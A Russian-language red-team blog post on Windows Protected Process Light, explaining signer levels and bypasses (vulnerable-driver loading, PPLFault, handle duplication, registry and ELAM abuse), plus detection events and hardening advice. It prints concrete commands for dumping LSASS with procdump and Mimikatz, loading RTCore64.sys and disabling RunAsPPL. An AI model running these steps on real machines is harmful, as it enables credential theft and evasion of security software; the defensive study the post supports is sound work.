Protected Process Light (PPL) в 2026 — как Windows защищает критические процессы и как это обходят

Posted on 3 апреля, 2026 by AkaTor

Категория: Red Team / Windows Internals
Уровень: Advanced
Автор: Aka Tor
Дата: Апрель 2026

Введение

Protected Process Light (PPL) — механизм защиты критических процессов Windows на уровне ядра. PPL запрещает доступ к защищённому процессу даже от имени SYSTEM с SeDebugPrivilege. Это означает: нельзя открыть handle, нельзя прочитать память, нельзя инжектить код, нельзя завершить процесс.

LSASS, Defender (MsMpEng.exe), csrss.exe, smss.exe — все защищены PPL. Для Red Team это главный барьер при дампе LSASS и отключении антивируса. Для Blue Team — основная линия обороны учётных данных.

Предупреждение: Материал для авторизованного пентестинга и исследования безопасности.

Содержание

---

1. Архитектура PP/PPL

Windows различает два уровня защиты процессов:

```
Protected Process (PP)     — полная защита, тип = 2
Protected Process Light (PPL) — облегчённая защита, тип = 1
No Protection              — обычный процесс, тип = 0
```

Защита хранится в поле `EPROCESS.Protection` (структура `PS_PROTECTION`) в ядре:

```
typedef struct _PS_PROTECTION {
    union {
        UCHAR Level;
        struct {
            UCHAR Type   : 3;  // 0=None, 1=PPL, 2=PP
            UCHAR Audit  : 1;  // Audit flag
            UCHAR Signer : 4;  // Уровень доверия подписи
        };
    };
} PS_PROTECTION;
```

При каждом вызове `OpenProcess`, ядро проверяет: если целевой процесс защищён, а вызывающий — нет (или имеет более низкий уровень), запрос отклоняется с `STATUS_ACCESS_DENIED`, независимо от привилегий вызывающего.

---

2. Уровни защиты и Signer Types

Signer определяет «кто подписал» исполняемый файл и задаёт уровень доверия:

Signer	Значение	Описание	Примеры процессов
WinTcb	6	Высший уровень — ядро Windows	System, smss.exe, csrss.exe
Windows	5	Компоненты Windows	services.exe, svchost.exe
Lsa	4	LSA Protection	lsass.exe (с RunAsPPL)
Antimalware	3	Антивирусный/EDR	MsMpEng.exe (Defender)
CodeGen	2	Code generation	.NET NGEN
Authenticode	1	Стандартная подпись	DRM процессы
None	0	Без защиты	Все обычные процессы

Правило доступа: процесс может открыть другой процесс только если его Signer level >= целевого. WinTcb (6) может открыть всё. Antimalware (3) может открыть только Authenticode (1) и None (0).

---

3. Что блокирует PPL

PPL защищает от следующих операций со стороны менее привилегированного процесса:

```
OpenProcess(PROCESS_VM_READ)          — чтение памяти        → BLOCKED
OpenProcess(PROCESS_VM_WRITE)         — запись памяти         → BLOCKED
OpenProcess(PROCESS_VM_OPERATION)     — VirtualAllocEx и т.д.  → BLOCKED
```

```
OpenProcess(PROCESS_TERMINATE)        — завершение процесса    →
BLOCKED
OpenProcess(PROCESS_CREATE_THREAD)    — создание потока         →
BLOCKED
OpenProcess(PROCESS_DUP_HANDLE)       — дублирование handle    →
BLOCKED
OpenProcess(PROCESS_SET_INFORMATION)  — изменение параметров   →
BLOCKED
NtCreateThread в чужом процессе       — инъекция               →
BLOCKED
MiniDumpWriteDump                     — дамп памяти            →
BLOCKED (нет handle)

Разрешено:
OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION)  — базовая информация →
OK
OpenProcess(PROCESS_SYNCHRONIZE)                — ожидание          →
OK
```

---

4. Какие процессы защищены

Стандартно в Windows 11 26200:

```
PP (Full Protected):
  System (PID 4)            — WinTcb
  smss.exe                  — WinTcb
  csrss.exe                 — WinTcb

PPL (Protected Light):
  wininit.exe               — Windows
  services.exe              — Windows
  lsass.exe                 — Lsa (если RunAsPPL включён)
  MsMpEng.exe               — Antimalware (Defender)
  NisSrv.exe                — Antimalware (Defender Network
Inspection)
  SgrmBroker.exe            — Antimalware
```

```
  SecurityHealthService.exe  — Windows
```

Проверка через NtQueryInformationProcess:

```
// Проверка PPL статуса через NtQueryInformationProcess
PS_PROTECTION protection = {0};
NtQueryInformationProcess(hProcess,
    ProcessProtectionInformation,  // = 61
    &protection, sizeof(protection), NULL);

if (protection.Type == 1) printf("PPL");
if (protection.Type == 2) printf("PP");
printf(" Signer: %d", protection.Signer);
```

---

5. Как включить PPL для LSASS (RunAsPPL)

По умолчанию LSASS может не быть защищён PPL. Включение:

```
# Включить RunAsPPL через реестр
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v RunAsPPL /t
REG_DWORD /d 1 /f

# Требуется перезагрузка
# После перезагрузки lsass.exe будет PPL с Signer=Lsa(4)
```

Проверка:

```
# Проверить текущий статус
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v RunAsPPL

# Или через PowerShell
Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name
RunAsPPL
```

С включённым RunAsPPL — Mimikatz `sekurlsa::logonpasswords` перестаёт работать, так как не может открыть handle к lsass.exe.

---

6. Разведка: определение PPL-статуса

Полный сканер PPL-статуса всех процессов:

```
HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 pe = { sizeof(pe) };

Process32First(snap, &pe);
do {
    HANDLE hProc = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION,
FALSE, pe.th32ProcessID);
    if (!hProc) continue;

    PS_PROTECTION prot = {0};
    NtQueryInformationProcess(hProc, 61, &prot, sizeof(prot), NULL);

    if (prot.Level != 0) {
        printf("PID %-6d %-25s Type=%d Signer=%d\n",
            pe.th32ProcessID, pe.szExeFile, prot.Type, prot.Signer);
    }
    CloseHandle(hProc);
} while (Process32Next(snap, &pe));
```

Вывод:

```
PID 4      System                    Type=2 Signer=6 [PP/WinTcb]
PID 456    smss.exe                  Type=2 Signer=6 [PP/WinTcb]
PID 612    csrss.exe                 Type=2 Signer=6 [PP/WinTcb]
PID 768    lsass.exe                 Type=1 Signer=4 [PPL/Lsa]
PID 3240   MsMpEng.exe              Type=1 Signer=3 [PPL/Antimalware]
```

---

7. Обход: BYOVD (Bring Your Own Vulnerable Driver)

Загружаем подписанный но уязвимый драйвер. Через его уязвимость (arbitrary kernel

read/write) обнуляем поле EPROCESS.Protection целевого процесса.

```
Популярные уязвимые драйверы для BYOVD:
  gdrv.sys        — GIGABYTE (arbitrary read/write)
  RTCore64.sys    — MSI Afterburner (arbitrary read/write)
  dbutil_2_3.sys  — Dell (arbitrary read/write)
  AsIO3.sys       — ASUS (arbitrary read/write)
  ene.sys         — ENE Technology (arbitrary read/write)
```

Алгоритм:

```
// 1. Загружаем уязвимый драйвер
sc create VulnDrv binpath= "C:\path\RTCore64.sys" type= kernel
sc start VulnDrv

// 2. Находим EPROCESS целевого процесса (lsass.exe)
//    Через NtQuerySystemInformation(SystemHandleInformation) или
PsLookupProcessByProcessId

// 3. Вычисляем смещение EPROCESS.Protection
//    Windows 11 26100: offset = 0x87A (зависит от билда)

// 4. Через IOCTL уязвимого драйвера — обнуляем Protection
//    kernel_write(eprocess_addr + protection_offset, 0x00, 1);

// 5. Теперь lsass.exe — обычный процесс. OpenProcess работает.
//    Mimikatz sekurlsa::logonpasswords — успех.
```

Инструменты:

```
PPLKiller  — использует RTCore64.sys для обнуления EPROCESS.Protection
PPLdump    — дампит PPL процесс через уязвимый драйвер
PPLFault   — обходит PPL без загрузки собственного драйвера (через
NTFS)
```

---

8. Обход: PPLFault / GodFault

Техника без загрузки драйвера. Эксплуатирует механизм обработки page faults в NTFS для получения kernel write primitive.

```
Принцип:
1. Создаём memory-mapped файл на NTFS
2. Файл маппится в адресное пространство ядра
3. При page fault ядро вызывает NTFS для чтения данных
4. Мы подменяем содержимое файла между page fault и чтением
5. Ядро записывает наши данные в kernel memory → arbitrary write
6. Обнуляем EPROCESS.Protection целевого процесса

Преимущества:
- Не требует загрузки драйвера
- Не требует отключения DSE
- Работает с включённым HVCI (в некоторых конфигурациях)
- Не оставляет следов загрузки kernel модуля
```

Использование PPLFault:

```
# Снятие PPL с lsass.exe
PPLFault.exe -pid <lsass_pid>

# После снятия — дамп через procdump или comsvcs.dll
procdump.exe -ma lsass.exe lsass.dmp

# Или через Mimikatz
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
```

GodFault — расширение PPLFault, предоставляет полный kernel read/write:

```
# GodFault — получение произвольного kernel R/W
GodFault.exe
# Затем PPLKiller использует GodFault для снятия PPL
```

---

9. Обход: Handle Duplication

Если какой-то привилегированный процесс уже имеет open handle к PPL-защищённому процессу — можно дублировать этот handle к себе.

```
// 1. Перечисляем все handle в системе
// NtQuerySystemInformation(SystemHandleInformation)

// 2. Ищем handle который указывает на целевой PID
//    и имеет PROCESS_VM_READ или PROCESS_ALL_ACCESS

// 3. Открываем процесс-владелец handle
HANDLE hOwner = OpenProcess(PROCESS_DUP_HANDLE, FALSE, ownerPid);

// 4. Дублируем handle к себе
HANDLE hDuplicated;
DuplicateHandle(hOwner, remoteHandle,
    GetCurrentProcess(), &hDuplicated,
    PROCESS_VM_READ, FALSE, 0);

// 5. Теперь hDuplicated — handle к PPL процессу с правами чтения
// MiniDumpWriteDump(hDuplicated, ...)
```

Ограничение: работает только если существует процесс с open handle и нужными правами. На практике — антивирус или отладчик могут иметь такие handle.

---

10. Обход: Отключение через реестр

Для LSASS — простейший способ (требует admin + перезагрузку):

```
# Отключить RunAsPPL
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v RunAsPPL /t
REG_DWORD /d 0 /f

# Перезагрузка
shutdown /r /t 0
```

```
# После перезагрузки lsass.exe — обычный процесс
```

Для Defender — нельзя отключить через реестр. PPL для MsMpEng.exe встроен в бинарь и не зависит от registry settings.

Обнаружение: Высокий — Event 4657 (registry value changed), Sysmon Event 13.

---

11. Обход: ELAM Driver Abuse

Early Launch Antimalware (ELAM) драйвер загружается до всех остальных драйверов при старте Windows. Процесс, запущенный с ELAM-сертификатом, получает PPL Antimalware (Signer=3).

```
Теория атаки:
1. Получить ELAM-сертификат (от Microsoft WHQL или украсть у AV
вендора)
2. Подписать свой драйвер ELAM-сертификатом
3. Зарегистрировать как ELAM driver
4. При следующей загрузке — драйвер получает PPL Antimalware
5. Из PPL Antimalware — можно открыть процессы с Signer <= 3

Практика:
- ELAM сертификаты строго контролируются Microsoft
- Сворованный сертификат отзывается через Windows Update
- Но до отзыва — работает
```

---

12. Защита: VBS, HVCI, Credential Guard

Многоуровневая защита от обхода PPL:

```
VBS (Virtualization-Based Security):
  Hypervisor изолирует критические данные в Secure World
  Даже kernel-mode код в Normal World не может получить доступ
  EPROCESS.Protection проверяется hypervisor'ом
```

```
HVCI (Hypervisor-Protected Code Integrity):
  Запрещает загрузку неподписанных драйверов
  Блокирует BYOVD — уязвимый драйвер не загрузится если отозван
  Запрещает модификацию kernel code pages

Credential Guard:
  LSASS credentials хранятся в изолированном LSAIso.exe
  Даже если дампнуть lsass.exe — credentials не в его памяти
  LSAIso.exe работает в Secure World под VBS

Windows 11 24H2+:
  RunAsPPL включён по умолчанию
  Credential Guard включён по умолчанию на Enterprise
  HVCI включён по умолчанию на новых устройствах
```

---

13. Сравнительная таблица обходов

Метод	Требования	Обходит VBS/HVCI	Обнаружение	Персистентность
BYOVD	Admin + подписанный драйвер	Нет (HVCI блокирует отозванные)	Средний	До перезагрузки
PPLFault/GodFault	Admin	Частично	Низкий	До перезагрузки
Handle Duplication	Зависит от наличия handle	Да	Низкий	Пока handle жив
Registry (RunAsPPL=0)	Admin + reboot	Нет (Credential Guard)	Высокий	Persistent
ELAM Abuse	ELAM сертификат	Нет	Средний	Persistent
Kernel Debugger	Boot with KD	Зависит	Высокий	До отключения

---

14. Blue Team — обнаружение

Индикаторы обхода PPL

1. Event 3004 (Windows CodeIntegrity) — загрузка неподписанного драйвера
2. Event 3033 — Code Integrity определил неподписанный код в ядре
3. Sysmon Event 6 (DriverLoaded) — загрузка нового драйвера
4. Sysmon Event 10 (ProcessAccess) — доступ к lsass.exe / MsMpEng.exe
5. Event 4657 — изменение RunAsPPL в реестре
6. Sysmon Event 13 — запись в HKLM\SYSTEM\CurrentControlSet\Control\Lsa
7. Event 4688 — запуск PPLKiller.exe, PPLFault.exe, GodFault.exe
8. Event 7045 — установка нового сервиса (для загрузки уязвимого драйвера)
9. Наличие известных уязвимых драйверов (RTCore64.sys, gdrv.sys и т.д.)
10. Мониторинг lsass.exe protection level — если PPL внезапно снялся

Защита

1. Включить RunAsPPL для LSASS
2. Включить Credential Guard (VBS)
3. Включить HVCI — блокирует загрузку уязвимых/отозванных драйверов
4. Microsoft Vulnerable Driver Blocklist — автоматически обновляется
5. WDAC (Windows Defender Application Control) — белый список драйверов
6. Мониторинг загрузки драйверов через Sysmon Event 6
7. Мониторинг доступа к lsass.exe через Sysmon Event 10
8. Запрет sc create / sc start для пользователей
9. Audit реестра LSA ключей
10. Обновление Windows — новые билды отзывают уязвимые драйверы

Заключение

PPL в 2026 году — серьёзный барьер, особенно в сочетании с VBS/HVCI/Credential Guard. Классический BYOVD блокируется HVCI через blocklist уязвимых драйверов. PPLFault/GodFault работает без загрузки драйвера, но требует admin и оставляет следы обращения к lsass.

Для Red Team: проверяйте включён ли HVCI (`msinfo32` → Virtualization-based security). Если нет — BYOVD работает. Если да — PPLFault или Handle Duplication.

Для Blue Team: включите RunAsPPL + Credential Guard + HVCI. Эта тройка закрывает все userland обходы PPL. Мониторьте Sysmon Event 6 (загрузка драйверов) и Event 10 (доступ к lsass.exe) для обнаружения попыток обхода.